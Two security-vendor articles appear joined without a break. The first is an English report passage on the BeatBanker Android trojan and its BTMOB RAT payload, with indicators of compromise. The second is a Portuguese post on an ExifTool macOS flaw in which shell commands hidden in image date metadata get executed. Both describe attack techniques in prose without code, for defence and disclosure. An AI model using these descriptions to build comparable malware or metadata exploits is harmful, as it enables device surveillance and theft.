The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

É possível que um computador seja infectado por malware simplesmente ao processar uma foto? Especialmente se esse computador for um Mac, que muitos ainda acreditam, de forma equivocada, ser inerentemente resistente a malware? A resposta é sim. Isso pode ocorrer se você estiver utilizando uma versão vulnerável do ExifTool ou um dos inúmeros aplicativos desenvolvidos com base nele. O ExifTool é uma solução de código aberto amplamente utilizada para ler, gravar e editar metadados de imagens. Trata-se da ferramenta de referência para fotógrafos e arquivistas digitais, sendo também muito empregada em análise de dados, perícia digital e jornalismo investigativo.

Especialistas da nossa equipe GReAT descobriram uma vulnerabilidade crítica, registrada como CVE-2026-3102, que é acionada durante o processamento de arquivos de imagem maliciosos contendo comandos shell incorporados em seus metadados. Quando uma versão vulnerável do ExifTool no macOS processa esse tipo de arquivo, o comando é executado automaticamente. Isso permite que um agente malicioso realize ações não autorizadas no sistema, como baixar e executar um payload a partir de um servidor remoto. Neste post, explicamos em detalhes como esse exploit funciona, apresentamos recomendações práticas de defesa e mostramos como verificar se seu sistema está vulnerável.

O que é o ExifTool?

O ExifTool é um aplicativo gratuito e de código aberto que atende a uma necessidade específica, porém crítica: extrair metadados de arquivos e permitir o processamento tanto desses dados quanto dos próprios arquivos. Metadados são informações incorporadas à maioria dos formatos de arquivo modernos e que descrevem ou complementam o conteúdo principal de um arquivo. Por exemplo, em uma faixa de música, os metadados incluem o nome do artista, o título da música, o gênero, o ano de lançamento, a arte da capa do álbum e assim por diante. Em fotografias, normalmente incluem a data e hora do registro, as coordenadas GPS, as configurações de ISO e a velocidade do obturador, além da marca e do modelo da câmera. Até documentos de escritório armazenam metadados, como o nome do autor, o tempo total de edição e a data original de criação.

O ExifTool é considerado o líder do setor em termos de quantidade de formatos de arquivo compatíveis, além da profundidade, precisão e versatilidade de suas capacidades de processamento. Entre os casos de uso mais comuns estão:

• Ajustar datas se estiverem incorretamente registradas nos arquivos de origem
• Transferir metadados entre diferentes formatos de arquivo (de JPG para PNG, entre outros)
• Extrair miniaturas de pré-visualização de formatos RAW profissionais (como 3FR, ARW ou CR3)
• Recuperar dados de formatos especializados, incluindo imagens térmicas da FLIR, fotos de campo de luz da LYTRO e imagens médicas no formato DICOM
• Renomear arquivos de foto ou vídeo com base no momento real do registro e sincronizar a data e hora de criação do arquivo
• Inserir coordenadas GPS em um arquivo sincronizando-o com um log de trilha GPS armazenado separadamente ou adicionando o nome da localidade habitada mais próxima

E a lista continua. O ExifTool está disponível tanto como aplicativo autônomo de linha de comando quanto como biblioteca de código aberto, o que significa que seu código frequentemente opera nos bastidores de ferramentas mais complexas e multifuncionais. Entre os exemplos estão sistemas de organização de fotos como Exif Photoworker e MetaScope, ou ferramentas de automação de processamento de imagens como ImageIngester. Em grandes bibliotecas digitais, editoras e empresas especializadas em análise de imagens, o ExifTool costuma ser utilizado em modo automatizado, acionado por aplicativos corporativos internos e scripts personalizados.

Como a CVE-2026-3102 funciona

Para explorar essa vulnerabilidade, um invasor precisa criar um arquivo de imagem de uma forma específica. A imagem em si pode ser qualquer uma; o exploit está nos metadados, mais precisamente no campo DateTimeOriginal (data e hora de criação), que precisa estar registrado em um formato inválido. Além da data e da hora, esse campo deve conter comandos shell maliciosos. Devido à forma específica como o ExifTool manipula dados no macOS, esses comandos só serão executados se duas condições forem atendidas:

• O aplicativo ou a biblioteca estiver sendo executado no macOS
• O sinalizador -n (ou –printConv) estiver habilitado. Esse modo gera dados legíveis por máquina, sem processamento adicional. Por exemplo, no modo -n, os dados de orientação da câmera são exibidos simplesmente como “six”, enquanto, com processamento adicional, aparecem na forma mais compreensível “Rotated 90 CW”. Essa conversão para uma forma “legível por humanos” impede a exploração da vulnerabilidade

Um cenário raro, mas de forma alguma impossível, de ataque direcionado poderia ocorrer da seguinte maneira. Um laboratório forense, uma redação de jornal ou uma grande organização que processe documentação jurídica ou médica recebe um arquivo digital de interesse. Pode ser uma fotografia sensacionalista ou uma petição judicial; a isca depende da área de atuação da vítima. Todos os arquivos que entram na organização passam por triagem e catalogação em um sistema de gestão de ativos digitais (DAM). Em grandes empresas, esse processo costuma ser automatizado; profissionais autônomos e pequenas empresas executam o software necessário manualmente. Em ambos os casos, a biblioteca ExifTool precisa estar sendo utilizada nos bastidores desse software. Ao processar a data da fotografia maliciosa, o computador onde o processamento ocorre é infectado por um trojan ou um infostealer, que posteriormente pode roubar todos os dados valiosos armazenados no dispositivo comprometido. Enquanto isso, a vítima pode não perceber absolutamente nada, pois o ataque explora apenas os metadados da imagem, enquanto a própria fotografia pode ser aparentemente inofensiva, legítima e até útil.

Como se proteger da vulnerabilidade do ExifTool

Pesquisadores da equipe GReAT relataram a vulnerabilidade ao autor do ExifTool, que rapidamente lançou a versão 13.50, não suscetível à CVE-2026-3102. As versões 13.49 e anteriores devem ser atualizadas para corrigir a falha.

É fundamental garantir que todos os fluxos de processamento de imagens estejam utilizando a versão atualizada. Verifique se todas as plataformas de gestão de ativos digitais, aplicativos de organização de fotos e quaisquer scripts de processamento em lote de imagens executados em Macs estão habilitando o ExifTool versão 13.50 ou posterior, e se não contêm uma cópia incorporada mais antiga da biblioteca ExifTool.

Naturalmente, o ExifTool, como qualquer software, pode conter outras vulnerabilidades dessa mesma classe. Para reforçar a segurança, recomenda-se também:

• Isolar o processamento de arquivos não confiáveis. Processe imagens provenientes de fontes duvidosas em uma máquina dedicada ou dentro de um ambiente virtual, limitando rigorosamente o acesso desse ambiente a outros computadores, armazenamentos de dados e recursos de rede.
• Monitorar continuamente vulnerabilidades na cadeia de suprimentos de software. Organizações que dependem de componentes de código aberto em seus fluxos de trabalho podem utilizar Open Source Data Feed para acompanhamento.

Por fim, se você trabalha com freelancers ou prestadores autônomos (ou permite o uso de BYOD, Bring Your Own Device), autorize o acesso à sua rede somente se esses dispositivos tiverem uma solução abrangente de segurança para macOS instalada.

Ainda acha que o macOS é totalmente seguro? Então, vale conhecer algumas ameaças recentes direcionadas a Macs:

• Banshee: um malware de roubo de dados que persegue usuários do macOS
• Os Macs são seguros? Ameaças aos usuários do macOS
• O Infostealer entrou no chat
• AirBorne: Ataques a dispositivos da Apple através de vulnerabilidades no AirPlay
• Invasão de Android, macOS, iOS e Linux por meio de uma vulnerabilidade do Bluetooth